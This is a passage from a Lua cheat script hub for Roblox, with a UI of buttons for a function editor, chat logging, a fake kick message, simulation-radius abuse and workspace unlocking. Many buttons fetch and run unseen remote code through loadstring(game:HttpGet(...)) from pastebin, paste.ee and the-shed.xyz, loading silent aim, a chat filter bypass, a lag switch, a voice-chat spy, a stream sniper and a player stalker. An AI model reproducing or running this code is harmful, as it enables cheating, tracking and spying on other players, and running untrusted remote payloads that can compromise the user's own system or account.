  6871. local constants,upvals,protos
  6872. local s,e = pcall(function()
  6873. constants = debug.getconstants(func)
  6874. upvals = debug.getupvalues(func)
  6875. protos = debug.getprotos(func)
  6876. end)
  6877. if s then
  6878. clearDisplay(up)
  6879. clearDisplay(const)
  6880. clearDisplay(funcs)
  6881. up.CanvasPosition = Vector2.new()
  6882. const.CanvasPosition = Vector2.new()
  6883. funcs.CanvasPosition = Vector2.new()
  6884. else
  6885. notify(e)
  6886. return
  6887. end
  6888.  
  6889. if isMain then
  6890. CurrentMainFunc = func
  6891. indexTrace = {}
  6892. elseif not ignoreIsMain then
  6893. local trace = {}
  6894. trace.traceType = typeForTrace;
  6895. trace.index = indexOfFunc;
  6896. indexTrace[#indexTrace+1]=trace
  6897. end
  6898.  
  6899. for i,v in pairs(upvals)do
  6900. if type(v)=="function" then
  6901. local frame,action = addValFrame(up,i,v,"display")
  6902. action.MouseButton1Click:Connect(function()
  6903. editfunc(v,false,'up')
  6904. end)
  6905. else
  6906. local frame,action = addValFrame(up,i,v,"edit")
  6907. action.MouseButton1Click:Connect(function()
  6908. editValue(func,i,v,"upvalue")
  6909. end)
  6910. end
  6911. end
  6912.  
  6913. for i,v in pairs(constants)do
  6914. if type(v)=="function" then
  6915. local frame,action = addValFrame(const,i,v,"display")
  6916. action.MouseButton1Click:Connect(function()
  6917. editfunc(v,false,i,"const")
  6918. end)
  6919. else
  6920. local frame,action = addValFrame(const,i,v,"edit")
  6921. action.MouseButton1Click:Connect(function()
  6922. editValue(func,i,v,"constant")
  6923. end)
  6924. end
  6925. end
  6926.  
  6927. for i,v in pairs(protos)do
  6928. if type(v)=="function" then
  6929. local frame,action = addValFrame(funcs,i,v,"display")
  6930. action.MouseButton1Click:Connect(function()
  6931. editfunc(v,false,i,"proto")
  6932. end)
  6933. else
  6934. local frame,action = addValFrame(funcs,i,v,"???")
  6935. end
  6936. end
  6937. end
  6938.  
  6939. upFunc.MouseButton1Click:Connect(function()
  6940. table.remove(indexTrace,#indexTrace)
  6941. local func = getFunc()
  6942. editfunc(func,false,nil,nil,true)
  6943. end)
  6944. mainFunc.MouseButton1Click:Connect(function()
  6945. if CurrentMainFunc then
  6946. editfunc(CurrentMainFunc,true)
  6947. end
  6948. end)
  6949. clearFuncEditor.MouseButton1Click:Connect(function()
  6950. clearDisplay(up)
  6951. clearDisplay(const)
  6952. clearDisplay(funcs)
  6953. CurrentMainFunc = nil
  6954. indexTrace = {}
  6955.  
  6956. up.CanvasPosition = Vector2.new()
  6957. const.CanvasPosition = Vector2.new()
  6958. funcs.CanvasPosition = Vector2.new()
  6959. end)
  6960.  
  6961. function getcurrentfunc()
  6962. return getFunc()
  6963. end
  6964.  
  6965. getgenv().getcrreunt = getcurrentfunc
  6966. getgenv().editfunc = editfunc
  6967.  
  6968.  
  6969. game:GetService("UserInputService").InputBegan:Connect(function(input,proccessed)
  6970. if not proccessed then
  6971. if input.KeyCode == Enum.KeyCode.F8 then
  6972. gui.Enabled = not gui.Enabled
  6973. end
  6974. end
  6975. end)
  6976. hide.MouseButton1Click:Connect(function()
  6977. gui.Enabled = not gui.Enabled
  6978. end)
  6979. loadstring(game:HttpGet("https://pastebin.com/raw/PiJXMBr6"))()(main)
  6980. end
  6981. })
  6982.  
  6983. Function:AddButton({
  6984. Name = "Filtering Enabled Print-Check",
  6985. Callback = function()
  6986. if game.Workspace.FilteringEnabled == true then
  6987. print("It's enabled - true")
  6988. else
  6989. print("It's disabled - false")
  6990. end
  6991. end
  6992. })
  6993.  
  6994. Script:AddToggle({
  6995. Name = "Fake Kick",
  6996. Default = false,
  6997. Callback = function(fkick)
  6998. if fkick == true then
  6999. if fakekicktbl ~= nil then
  7000. fakekicktbl:Disconnect()
  7001. end
  7002. local Players = game:GetService("Players")
  7003.  
  7004. fakekicktbl = Players.PlayerRemoving:Connect(function(player)
  7005.  
  7006. local args = {
  7007. [1] = ":kick "..player.Name,
  7008. [2] = "All"
  7009. }
  7010.  
  7011. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(args))
  7012. end)
  7013. else
  7014. fkick = false
  7015. if fakekicktbl ~= nil then
  7016. fakekicktbl:Disconnect()
  7017. end
  7018. end
  7019. end
  7020. })
  7021.  
  7022. Script:AddButton({
  7023. Name = "Chat Translator [Request]",
  7024. Callback = function()
  7025. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "If this doesn't work for you, then: 1) It's not for synapse x (maybe) and that uses request, which synapse x can't use it (not sure) but others for example krnl, electron, they can support this. Try with syn.request not request.", Duration = 15,})
  7026. loadstring(game:HttpGet("https://paste.ee/r/Rranu", true))()
  7027. end
  7028. })
  7029.  
  7030. Script:AddButton({
  7031. Name = "Chat Translator [Syn.Request]",
  7032. Callback = function()
  7033. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "If this doesn't work for you, then: 1) It's for synapse x and that uses syn.request, which nobody can use it expect synapse x. Try with request not syn.request.", Duration = 10,})
  7034. loadstring(game:HttpGet("https://paste.ee/r/RjC9O", true))()
  7035. end
  7036. })
  7037.  
  7038. Script:AddButton({
  7039. Name = "Universal Silent Aim",
  7040. Callback = function()
  7041. loadstring(game:HttpGet("https://paste.ee/r/QMOEj", true))()
  7042. end
  7043. })
  7044.  
  7045. Script:AddButton({
  7046. Name = "Creo's Model Grabber",
  7047. Callback = function()
  7048. OrionLib:MakeNotification({
  7049. Name = "Model Grabber Tutorial",
  7050. Content = "To start, you need to launch roblox studio and create place. After you need to create 'Script' in Workspace. When you did it, you need to paste the code which was copied to clipboard. Now, just press 'Play' or 'Test'.",
  7051. Image = "rbxassetid://6023426945",
  7052. Time = 25
  7053. })
  7054. loadstring(game:HttpGet("https://paste.ee/r/IaRXx", true))()
  7055. end
  7056. })
  7057.  
  7058. Script:AddButton({
  7059. Name = "Shed's Chat Bypasser V3",
  7060. Callback = function()
  7061. loadstring(game:HttpGet("https://the-shed.xyz/roblox/scripts/ChatBypass", true))()
  7062. end
  7063. })
  7064.  
  7065. Script:AddButton({
  7066. Name = "Chat Logs",
  7067. Callback = function()
  7068. -- Farewell Infortality.
  7069. -- Version: 2.82
  7070. -- Instances:
  7071. local ChatGui = Instance.new("ScreenGui")
  7072. local Frame = Instance.new("Frame")
  7073. local LogPanel = Instance.new("ScrollingFrame")
  7074. local Close = Instance.new("TextButton")
  7075. local Mini = Instance.new("TextButton")
  7076. local Log = Instance.new("TextButton")
  7077. local title = Instance.new("TextLabel")
  7078. --Properties:
  7079. ChatGui.Name = "ChatGui"
  7080. ChatGui.Parent = game.Players.LocalPlayer.PlayerGui
  7081. ChatGui.ResetOnSpawn = false
  7082.  
  7083. Frame.Parent = ChatGui
  7084. Frame.BackgroundColor3 = Color3.new(0, 0, 0)
  7085. Frame.BorderSizePixel = 0
  7086. Frame.Position = UDim2.new(0.0278396439, 0, 0.565217376, 0)
  7087. Frame.Size = UDim2.new(0, 392, 0, 25)
  7088. Frame.Active = true
  7089. Frame.Draggable = true
  7090.  
  7091. LogPanel.Name = "LogPanel"
  7092. LogPanel.Parent = Frame
  7093. LogPanel.BackgroundColor3 = Color3.new(0, 0, 0)
  7094. LogPanel.BorderColor3 = Color3.new(0.223529, 0.223529, 0.223529)
  7095. LogPanel.Position = UDim2.new(-0.000221580267, 0, 0.968695641, 0)
  7096. LogPanel.Size = UDim2.new(0, 392, 0, 203)
  7097. LogPanel.ScrollBarThickness = 5
  7098. LogPanel.ScrollingEnabled = true
  7099. LogPanel.CanvasSize=UDim2.new(2,0,100,0)
  7100.  
  7101. Close.Name = "Close"
  7102. Close.Parent = Frame
  7103. Close.BackgroundColor3 = Color3.new(1, 1, 1)
  7104. Close.BackgroundTransparency = 1
  7105. Close.Position = UDim2.new(0.823979557, 0, 0.0399999991, 0)
  7106. Close.Size = UDim2.new(0, 69, 0, 24)
  7107. Close.Font = Enum.Font.SourceSans
  7108. Close.Text = "Close"
  7109. Close.TextColor3 = Color3.new(1, 1, 1)
  7110. Close.TextSize = 14
  7111.  
  7112. Mini.Name = "Mini"
  7113. Mini.Parent = Frame
  7114. Mini.BackgroundColor3 = Color3.new(1, 1, 1)
  7115. Mini.BackgroundTransparency = 1
  7116. Mini.Position = UDim2.new(0.647959173, 0, 0, 0)
  7117. Mini.Size = UDim2.new(0, 69, 0, 24)
  7118. Mini.Font = Enum.Font.SourceSans
  7119. Mini.Text = "Minimize"
  7120. Mini.TextColor3 = Color3.new(1, 1, 1)
  7121. Mini.TextSize = 14
  7122.  
  7123. Log.Name = "Log"
  7124. Log.Parent = Frame
  7125. Log.BackgroundColor3 = Color3.new(1, 1, 1)
  7126. Log.BackgroundTransparency = 1
  7127. Log.Position = UDim2.new(0.293367326, 0, 0, 0)
  7128. Log.Size = UDim2.new(0, 69, 0, 24)
  7129. Log.Font = Enum.Font.SourceSans
  7130. Log.Text = "Log Chat [ON]"
  7131. Log.TextColor3 = Color3.new(1, 1, 1)
  7132. Log.TextSize = 14
  7133.  
  7134. title.Name = "title"
  7135. title.Parent = Frame
  7136. title.BackgroundColor3 = Color3.new(1, 1, 1)
  7137. title.BackgroundTransparency = 1
  7138. title.Size = UDim2.new(0, 115, 0, 24)
  7139. title.Font = Enum.Font.SourceSans
  7140. title.Text = "Chat GUI"
  7141. title.TextColor3 = Color3.new(1, 1, 1)
  7142. title.TextSize = 14
  7143. title.TextXAlignment = Enum.TextXAlignment.Left
  7144. -- Scripts:
  7145. local logging = true
  7146. local minimized = false
  7147. Log.MouseButton1Down:Connect(function()
  7148. logging = not logging
  7149. if logging then Log.Text = "Log Chat [ON]" else Log.Text = "Log Chat [OFF]" end
  7150. end)
  7151. Mini.MouseButton1Down:Connect(function()
  7152. if minimized then
  7153. LogPanel:TweenSize(UDim2.new(0, 392, 0, 203), "InOut", "Sine", 0.5, false, nil)
  7154. else
  7155. LogPanel:TweenSize(UDim2.new(0, 392, 0, 0), "InOut", "Sine", 0.5, false, nil)
  7156. end
  7157. minimized = not minimized
  7158. end)
  7159. Close.MouseButton1Down:Connect(function()
  7160. ChatGui:Destroy()
  7161. end)
  7162.  
  7163. local prevOutputPos = 0
  7164. function output(plr, msg)
  7165. if not logging then return end
  7166. local colour = Color3.fromRGB(255,255,255)
  7167.  
  7168. if string.sub(msg, 1,1) == ":" or string.sub(msg,1,1) == ";" then colour = Color3.fromRGB(255,0,0) elseif string.sub(msg,1,2) == "/w" or string.sub(msg,1,7) == "/whisper" or string.sub(msg,1,5) == "/team" or string.sub(msg,1,2) == "/t" then colour = Color3.fromRGB(0,0,255) else colour = Color3.fromRGB(255,255,255) end
  7169.  
  7170. local o = Instance.new("TextLabel",LogPanel)
  7171. o.Text = plr.Name .. ": " .. msg
  7172. o.Size = UDim2.new(0.5,0,.006,0)
  7173. o.Position = UDim2.new(0,0,.007 + prevOutputPos ,0)
  7174. o.Font = Enum.Font.SourceSansSemibold
  7175. o.TextColor3 = colour
  7176. o.TextStrokeTransparency = 0
  7177. o.BackgroundTransparency = 0
  7178. o.BackgroundColor3 = Color3.new(0,0,0)
  7179. o.BorderSizePixel = 0
  7180. o.BorderColor3 = Color3.new(0,0,0)
  7181. o.FontSize = "Size14"
  7182. o.TextXAlignment = Enum.TextXAlignment.Left
  7183. o.ClipsDescendants = true
  7184. prevOutputPos = prevOutputPos + 0.007
  7185. end
  7186.  
  7187. for i,v in pairs(game.Players:GetChildren()) do
  7188. v.Chatted:Connect(function(msg)
  7189. output(v, msg)
  7190. end)
  7191. end
  7192.  
  7193. game.Players.ChildAdded:Connect(function(plr)
  7194. if plr:IsA("Player") then
  7195. plr.Chatted:Connect(function(msg)
  7196. output(plr, msg)
  7197. end)
  7198. end
  7199. end)
  7200. end
  7201. })
  7202.  
  7203. Script:AddButton({
  7204. Name = "Chat Logs (Print version)",
  7205. Callback = function()
  7206. for i,v in pairs(game.Players:GetPlayers()) do
  7207. v.Chatted:Connect(function(msg)
  7208. print(v.Name, ":", msg)
  7209. end)
  7210. end
  7211.  
  7212. game.Players.PlayerAdded:Connect(function(plr)
  7213. plr.Chatted:Connect(function(msg)
  7214. print(v.Name, ":", msg)
  7215. end)
  7216. end)
  7217. end
  7218. })
  7219.  
  7220. Script:AddButton({
  7221. Name = "Find Small Server",
  7222. Callback = function()
  7223. local Http = game:GetService("HttpService")
  7224. local TPS = game:GetService("TeleportService")
  7225. local Api = "https://games.roblox.com/v1/games/"
  7226.  
  7227. local _place = game.PlaceId
  7228. local _servers = Api.._place.."/servers/Public?sortOrder=Asc&limit=100"
  7229. function ListServers(cursor)
  7230. local Raw = game:HttpGet(_servers .. ((cursor and "&cursor="..cursor) or ""))
  7231. return Http:JSONDecode(Raw)
  7232. end
  7233.  
  7234. local Server, Next; repeat
  7235. local Servers = ListServers(Next)
  7236. Server = Servers.data[1]
  7237. Next = Servers.nextPageCursor
  7238. until Server
  7239.  
  7240. TPS:TeleportToPlaceInstance(_place,Server.id,game.Players.LocalPlayer)
  7241. end
  7242. })
  7243.  
  7244. Script:AddButton({
  7245. Name = "Lag Switch [X]",
  7246. Callback = function()
  7247. loadstring(game:HttpGet("https://paste.ee/r/WvLU6", true))()
  7248. end
  7249. })
  7250.  
  7251. Script:AddButton({
  7252. Name = "BTools",
  7253. Callback = function()
  7254. Instance.new("HopperBin", speaker:FindFirstChildOfClass("Backpack")).BinType = 1
  7255. Instance.new("HopperBin", speaker:FindFirstChildOfClass("Backpack")).BinType = 2
  7256. Instance.new("HopperBin", speaker:FindFirstChildOfClass("Backpack")).BinType = 3
  7257. Instance.new("HopperBin", speaker:FindFirstChildOfClass("Backpack")).BinType = 4
  7258. end
  7259. })
  7260.  
  7261. Script:AddButton({
  7262. Name = "F3X [Client]",
  7263. Callback = function()
  7264. loadstring(game:GetObjects("rbxassetid://4698064966")[1].Source)()
  7265. end
  7266. })
  7267.  
  7268. Script:AddButton({
  7269. Name = "Server Finder GUI",
  7270. Callback = function()
  7271. loadstring(game:HttpGet("https://paste.ee/r/w3kXN", true))()
  7272. end
  7273. })
  7274.  
  7275. Script:AddButton({
  7276. Name = "Stream Sniper GUI",
  7277. Callback = function()
  7278. loadstring(game:HttpGet("https://paste.ee/r/SDqxo", true))()
  7279. end
  7280. })
  7281.  
  7282. Script:AddButton({
  7283. Name = "Team Changer GUI",
  7284. Callback = function()
  7285. loadstring(game:HttpGet("https://paste.ee/r/uQAAd", true))()
  7286. end
  7287. })
  7288.  
  7289. Script:AddButton({
  7290. Name = "VoiceChat Spy GUI",
  7291. Callback = function()
  7292. getgenv().VoicechatSpySettings = {
  7293. TrackVoice3d = false,
  7294. FollowDistance = 0
  7295. }
  7296.  
  7297. loadstring(game:HttpGet("https://paste.ee/r/4HQro", true))()
  7298. end
  7299. })
  7300.  
  7301. Script:AddButton({
  7302. Name = "Player Stalker GUI",
  7303. Callback = function()
  7304. loadstring(game:HttpGet("https://paste.ee/r/vfmOp", true))()
  7305. end
  7306. })
  7307.  
  7308. Setting:AddSlider({
  7309. Name = "Game Volume",
  7310. Min = 0,
  7311. Max = 10,
  7312. Default = PlayerVolumeBELIKE,
  7313. Color = Color3.fromRGB(255,255,255),
  7314. Increment = 1,
  7315. ValueName = "Volume",
  7316. Callback = function(Volumelol)
  7317. UserSettings():GetService("UserGameSettings").MasterVolume = Volumelol
  7318. end
  7319. })
  7320.  
  7321. Setting:AddSlider({
  7322. Name = "Game Graphics",
  7323. Min = 0,
  7324. Max = 15,
  7325. Default = 15,
  7326. Color = Color3.fromRGB(255,255,255),
  7327. Increment = 1,
  7328. ValueName = "Graphics",
  7329. Callback = function(graphicslol)
  7330. settings().Rendering.QualityLevel = graphicslol
  7331. end
  7332. })
  7333.  
  7334. Setting:AddSlider({
  7335. Name = "Game FOV",
  7336. Min = 0,
  7337. Max = 120,
  7338. Default = game.Workspace.CurrentCamera.FieldOfView,
  7339. Color = Color3.fromRGB(255,255,255),
  7340. Increment = 1,
  7341. ValueName = "FOV",
  7342. Callback = function(fovlol)
  7343. game.Workspace.CurrentCamera.FieldOfView = fovlol
  7344. end
  7345. })
  7346.  
  7347. Setting:AddSlider({
  7348. Name = "Mouse Sensitivity",
  7349. Min = 0,
  7350. Max = 10,
  7351. Default = UserInputService.MouseDeltaSensitivity,
  7352. Color = Color3.fromRGB(255,255,255),
  7353. Increment = 1,
  7354. ValueName = "Sens",
  7355. Callback = function(msyes)
  7356. UserInputService.MouseDeltaSensitivity = msyes
  7357. end
  7358. })
  7359.  
  7360. Setting:AddTextbox({
  7361. Name = "Data Limit",
  7362. Default = "",
  7363. TextDisappear = true,
  7364. Callback = function(DT)
  7365. local ValueDT = tonumber(DT)
  7366. game:GetService("NetworkClient"):SetOutgoingKBPSLimit(ValueDT)
  7367. end
  7368. })
  7369.  
  7370. Setting:AddButton({
  7371. Name = "Toggle Record",
  7372. Callback = function()
  7373. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "If you want to turn off, then just press again or F12", Duration = 4,})
  7374. return game:GetService("CoreGui"):ToggleRecording()
  7375. end
  7376. })
  7377.  
  7378. Setting:AddButton({
  7379. Name = "Take ScreenShot",
  7380. Callback = function()
  7381. return game:GetService("CoreGui"):TakeScreenshot()
  7382. end
  7383. })
  7384.  
  7385. Setting:AddButton({
  7386. Name = "Toggle FullScreen",
  7387. Callback = function()
  7388. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "If you want to get back your unfullscreen, then press again or F11.", Duration = 4,})
  7389. return game:GetService("GuiService"):ToggleFullscreen()
  7390. end
  7391. })
  7392.  
  7393. Setting:AddButton({
  7394. Name = "Notify Ping",
  7395. Callback = function()
  7396. local Current_Ping = string.split(game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString(), " ")[1] .. " ms"
  7397. OrionLib:MakeNotification({
  7398. Name = "Your ping:",
  7399. Content = tostring(Current_Ping),
  7400. Image = "rbxassetid://6023426945",
  7401. Time = 5
  7402. })
  7403. end
  7404. })
  7405.  
  7406. Setting:AddButton({
  7407. Name = "Notify Game Place ID",
  7408. Callback = function()
  7409. OrionLib:MakeNotification({
  7410. Name = "Game Place ID:",
  7411. Content = game.PlaceId,
  7412. Image = "rbxassetid://6023426945",
  7413. Time = 5
  7414. })
  7415. end
  7416. })
  7417.  
  7418. Setting:AddButton({
  7419. Name = "Notify Game Job ID",
  7420. Callback = function()
  7421. OrionLib:MakeNotification({
  7422. Name = "Game Job ID:",
  7423. Content = game.JobId,
  7424. Image = "rbxassetid://6023426945",
  7425. Time = 5
  7426. })
  7427. end
  7428. })
  7429.  
  7430. Setting:AddButton({
  7431. Name = "Notify Position",
  7432. Callback = function()
  7433. local char = plr.Character
  7434. local pos = char and char.HumanoidRootPart or char:FindFirstChildWhichIsA("BasePart")
  7435. pos = pos and pos.Position
  7436. if not pos then
  7437. return game.StarterGui:SetCore("SendNotification", {Title = "NotifyPosition Error.", Text = "Missing Character. You need to be alive not dead.", Duration = 4,})
  7438. end
  7439. local Current_Position = math.round(pos.X) .. ", " .. math.round(pos.Y) .. ", " .. math.round(pos.Z)
  7440. OrionLib:MakeNotification({
  7441. Name = "Your Current Position:",
  7442. Content = tostring(Current_Position),
  7443. Image = "rbxassetid://6023426945",
  7444. Time = 5
  7445. })
  7446. end
  7447. })
  7448.  
  7449. Setting:AddButton({
  7450. Name = "Notify CFrame",
  7451. Callback = function()
  7452. local char = plr.Character
  7453. local cpos = char and char.HumanoidRootPart or char:FindFirstChildWhichIsA("BasePart")
  7454. cpos = cpos and cpos.CFrame
  7455. if not cpos then
  7456. return game.StarterGui:SetCore("SendNotification", {Title = "NotifyPosition Error.", Text = "Missing Character. You need to be alive not dead.", Duration = 4,})
  7457. end
  7458. local Current_CFrame = cpos
  7459. OrionLib:MakeNotification({
  7460. Name = "Your Current CFrame:",
  7461. Content = tostring(Current_CFrame),
  7462. Image = "rbxassetid://6023426945",
  7463. Time = 12
  7464. })
  7465. end
  7466. })
  7467.  
  7468. Setting:AddButton({
  7469. Name = "Copy Game Place Id",
  7470. Callback = function()
  7471. local gameplace = tostring(game.PlaceId)
  7472. toClipboard(gameplace)
  7473. OrionLib:MakeNotification({
  7474. Name = "Copied.",
  7475. Content = "You copied to Clipboard. Now press Control (CTRL) + V or Right Click + Paste to Paste into your exploit.",
  7476. Image = "rbxassetid://6023426945",
  7477. Time = 7
  7478. })
  7479. end
  7480. })
  7481.  
  7482. Setting:AddButton({
  7483. Name = "Copy Game Job Id",
  7484. Callback = function()
  7485. local gameplace = game.JobId
  7486. toClipboard(gameplace)
  7487. OrionLib:MakeNotification({
  7488. Name = "Copied.",
  7489. Content = "You copied to Clipboard. Now press Control (CTRL) + V or Right Click + Paste to Paste into your exploit.",
  7490. Image = "rbxassetid://6023426945",
  7491. Time = 7
  7492. })
  7493. end
  7494. })
  7495.  
  7496. Setting:AddButton({
  7497. Name = "Copy Game Place and Job Id",
  7498. Callback = function()
  7499. local jobId = 'Roblox.GameLauncher.joinGameInstance('..game.PlaceId..', "'..game.JobId..'")'
  7500. toClipboard(jobId)
  7501. OrionLib:MakeNotification({
  7502. Name = "Copied.",
  7503. Content = "You copied to Clipboard. Now press Control (CTRL) + V or Right Click + Paste to Paste into your exploit.",
  7504. Image = "rbxassetid://6023426945",
  7505. Time = 7
  7506. })
  7507. end
  7508. })
  7509.  
  7510.  
  7511. Setting:AddButton({
  7512. Name = "Copy Position",
  7513. Callback = function()
  7514. local char = plr.Character
  7515. local pos = char and char.HumanoidRootPart or char:FindFirstChildWhichIsA("BasePart")
  7516. pos = pos and pos.Position
  7517. if not pos then
  7518. return game.StarterGui:SetCore("SendNotification", {Title = "NotifyPosition Error.", Text = "Missing Character. You need to be alive not dead.", Duration = 4,})
  7519. end
  7520. local roundedPos = math.round(pos.X) .. ", " .. math.round(pos.Y) .. ", " .. math.round(pos.Z)
  7521. toClipboard(roundedPos)
  7522. OrionLib:MakeNotification({
  7523. Name = "Copied",
  7524. Content = "You copied to Clipboard. Now press Control (CTRL) + V or Right Click + Paste to Paste into your exploit.",
  7525. Image = "rbxassetid://6023426945",
  7526. Time = 7
  7527. })
  7528. end
  7529. })
  7530.  
  7531. Setting:AddButton({
  7532. Name = "Copy CFrame",
  7533. Callback = function()
  7534. local char = plr.Character
  7535. local pos = char and char.HumanoidRootPart or char:FindFirstChildWhichIsA("BasePart")
  7536. pos = pos and pos.CFrame
  7537. if not pos then
  7538. return game.StarterGui:SetCore("SendNotification", {Title = "NotifyPosition Error.", Text = "Missing Character. You need to be alive not dead.", Duration = 4,})
  7539. end
  7540. local roundedPos = tostring(pos)
  7541. toClipboard(roundedPos)
  7542. OrionLib:MakeNotification({
  7543. Name = "Copied",
  7544. Content = "You copied to Clipboard. Now press Control (CTRL) + V or Right Click + Paste to Paste into your exploit.",
  7545. Image = "rbxassetid://6023426945",
  7546. Time = 7
  7547. })
  7548. end
  7549. })
  7550.  
  7551. Setting:AddButton({
  7552. Name = "Unlock Workspace",
  7553. Callback = function()
  7554. for i,v in pairs(game.Workspace:GetDescendants()) do
  7555. if v:IsA("BasePart") then
  7556. v.Locked = false
  7557. end
  7558. end
  7559. end
  7560. })
  7561.  
  7562. Setting:AddButton({
  7563. Name = "Enable Backpack",
  7564. Callback = function()
  7565. game.StarterGui:SetCoreGuiEnabled(2, true)
  7566. end
  7567. })
  7568.  
  7569. Setting:AddButton({
  7570. Name = "Enable Shiftlock",
  7571. Callback = function()
  7572. game:GetService('Players').LocalPlayer.DevEnableMouseLock = true
  7573. end
  7574. })
  7575.  
  7576. Setting:AddButton({
  7577. Name = "FPS Unlock",
  7578. Callback = function()
  7579. setfpscap(0)
  7580. end
  7581. })
  7582.  
  7583. Setting:AddToggle({
  7584. Name = "SimulationRadius",
  7585. Default = false,
  7586. Callback = function(simradi)
  7587. if simradi == true then
  7588. if sethidden then
  7589. simRadLoop = game:GetService('RunService').Stepped:Connect(function()
  7590. if setsimulation then
  7591. setsimulation(1e308, 1/0)
  7592. else
  7593. sethidden(plr,"MaximumSimulationRadius",1/0)
  7594. sethidden(plr,"SimulationRadius", 1e308)
  7595. end
  7596. end)
  7597. simRadius = true
  7598. end
  7599. else
  7600. simradi = false
  7601. if sethidden then
  7602. if simRadLoop then
  7603. simRadLoop:Disconnect()
  7604. end
  7605. wait()
  7606. if setsimulation then
  7607. setsimulation(139,139)
  7608. else
  7609. sethidden(plr,"MaximumSimulationRadius",139)
  7610. sethidden(plr,"SimulationRadius", 139)
  7611. end
  7612. simRadius = false
  7613. end
  7614. end
  7615. end
  7616. })
  7617.  
  7618. Setting:AddToggle({
  7619. Name = "ThirdPerson Mode",
  7620. Default = false,
  7621. Callback = function(Thirdm)
  7622. if Thirdm == true then
  7623. game.Players.LocalPlayer.CameraMode = "Classic"
  7624. else
  7625. Thirdm = false
  7626. game.Players.LocalPlayer.CameraMode = "Classic"
  7627. end
  7628. end
  7629. })
  7630.  
  7631. Setting:AddToggle({
  7632. Name = "FirstPerson Mode",
  7633. Default = false,
  7634. Callback = function(Firstm)
  7635. if Firstm == true then
  7636. game.Players.LocalPlayer.CameraMode = "LockFirstPerson"
  7637. else
  7638. Firstm = false
  7639. game.Players.LocalPlayer.CameraMode = "Classic"
  7640. end
  7641. end
  7642. })
  7643.  
  7644. Setting:AddToggle({
  7645. Name = "Show FPS",
  7646. Default = false,
  7647. Callback = function(ShowFPS)
  7648. if ShowFPS == true then
  7649. local ToolNameGrabber = Instance.new("ScreenGui", getParent)
  7650. local ToolNameTxt = Instance.new("TextLabel", getParent)
  7651. local player = cmdlp
  7652. ToolNameGrabber.Name = "ToolNameGrabber"
  7653. ToolNameGrabber.Parent = game.CoreGui
  7654. ToolNameGrabber.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  7655. ToolNameGrabber.Enabled = true
  7656. ToolNameTxt.Name = "ToolNameTxt"
  7657. ToolNameTxt.Parent = ToolNameGrabber
  7658. ToolNameTxt.BackgroundColor3 = Color3.new(1, 1, 1)
  7659. ToolNameTxt.BackgroundTransparency = 1
  7660. ToolNameTxt.BorderColor3 = Color3.new(0, 0, 0)
  7661. ToolNameTxt.Position = UDim2.new(0.894944727, 0, 0.952606618, 0)
  7662. ToolNameTxt.Size = UDim2.new(0, 133, 0, 30)
  7663. ToolNameTxt.Font = Enum.Font.GothamSemibold
  7664. ToolNameTxt.Text = "TextLabel"
  7665. ToolNameTxt.TextColor3 = Color3.new(0, 1, 0)
  7666. ToolNameTxt.TextScaled = true
  7667. ToolNameTxt.TextSize = 14
  7668. ToolNameTxt.TextWrapped = true
  7669. ToolNameTxt.Visible = true
  7670. local FpsLabel = ToolNameTxt
  7671. local Heartbeat = game:GetService("RunService").Heartbeat
  7672. local LastIteration, Start
  7673. local FrameUpdateTable = { }
  7674. local function HeartbeatUpdate()
  7675. LastIteration = tick()
  7676. for Index = #FrameUpdateTable, 1, -1 do
  7677. FrameUpdateTable[Index + 1] = (FrameUpdateTable[Index] >= LastIteration - 1) and FrameUpdateTable[Index] or nil
  7678. end
  7679. FrameUpdateTable[1] = LastIteration
  7680. local CurrentFPS = (tick() - Start >= 1 and #FrameUpdateTable) or (#FrameUpdateTable / (tick() - Start))
  7681. CurrentFPS = CurrentFPS - CurrentFPS % 1
  7682. FpsLabel.Text = "" .. CurrentFPS .. " FPS"
  7683. end
  7684. Start = tick()
  7685. Heartbeat:Connect(HeartbeatUpdate)
  7686. else
  7687. ShowFPS = false
  7688. for i,fps in pairs(game.CoreGui:GetDescendants()) do
  7689. if fps.Name == "ToolNameGrabber" then
  7690. fps:Destroy()
  7691. end
  7692. end
  7693. end
  7694. end
  7695. })
  7696.  
  7697. Setting:AddToggle({
  7698. Name = "Show Ping",
  7699. Default = false,
  7700. Callback = function(ShowPing)
  7701. if ShowPing == true then
  7702. local PingGrabber = Instance.new("ScreenGui", getParent)
  7703. local ToolNameTxt = Instance.new("TextLabel", getParent)
  7704. local player = cmdlp
  7705. PingGrabber.Name = "PingGrabber"
  7706. PingGrabber.Parent = game.CoreGui
  7707. PingGrabber.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  7708. PingGrabber.Enabled = true
  7709. ToolNameTxt.Name = "ToolNameTxt"
  7710. ToolNameTxt.Parent = PingGrabber
  7711. ToolNameTxt.BackgroundColor3 = Color3.new(1, 1, 1)
  7712. ToolNameTxt.BackgroundTransparency = 1
  7713. ToolNameTxt.BorderColor3 = Color3.new(0, 0, 0)
  7714. ToolNameTxt.Position = UDim2.new(0.8, 0, 0.952606618, 0)
  7715. ToolNameTxt.Size = UDim2.new(0, 133, 0, 30)
  7716. ToolNameTxt.Font = Enum.Font.GothamSemibold
  7717. ToolNameTxt.Text = "TextLabel"
  7718. ToolNameTxt.TextColor3 = Color3.new(0, 1, 0)
  7719. ToolNameTxt.TextScaled = true
  7720. ToolNameTxt.TextSize = 14
  7721. ToolNameTxt.TextWrapped = true
  7722. ToolNameTxt.Visible = true
  7723. local PingLabel = ToolNameTxt
  7724. local Heartbeat = game:GetService("RunService").Heartbeat
  7725. local LastIteration, Start
  7726. local FrameUpdateTable = { }
  7727. local function HeartbeatUpdate()
  7728. LastIteration = tick()
  7729. for Index = #FrameUpdateTable, 1, -1 do
  7730. FrameUpdateTable[Index + 1] = (FrameUpdateTable[Index] >= LastIteration - 1) and FrameUpdateTable[Index] or nil
  7731. end
  7732. FrameUpdateTable[1] = LastIteration
  7733. local Current_Ping = string.split(game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString(), " ")[1]
  7734. Current_Ping = Current_Ping - Current_Ping % 1
  7735. PingLabel.Text = "Ping: " .. Current_Ping .. " ms"
  7736. end
  7737. Start = tick()
  7738. Heartbeat:Connect(HeartbeatUpdate)
  7739. else
  7740. ShowPing = false
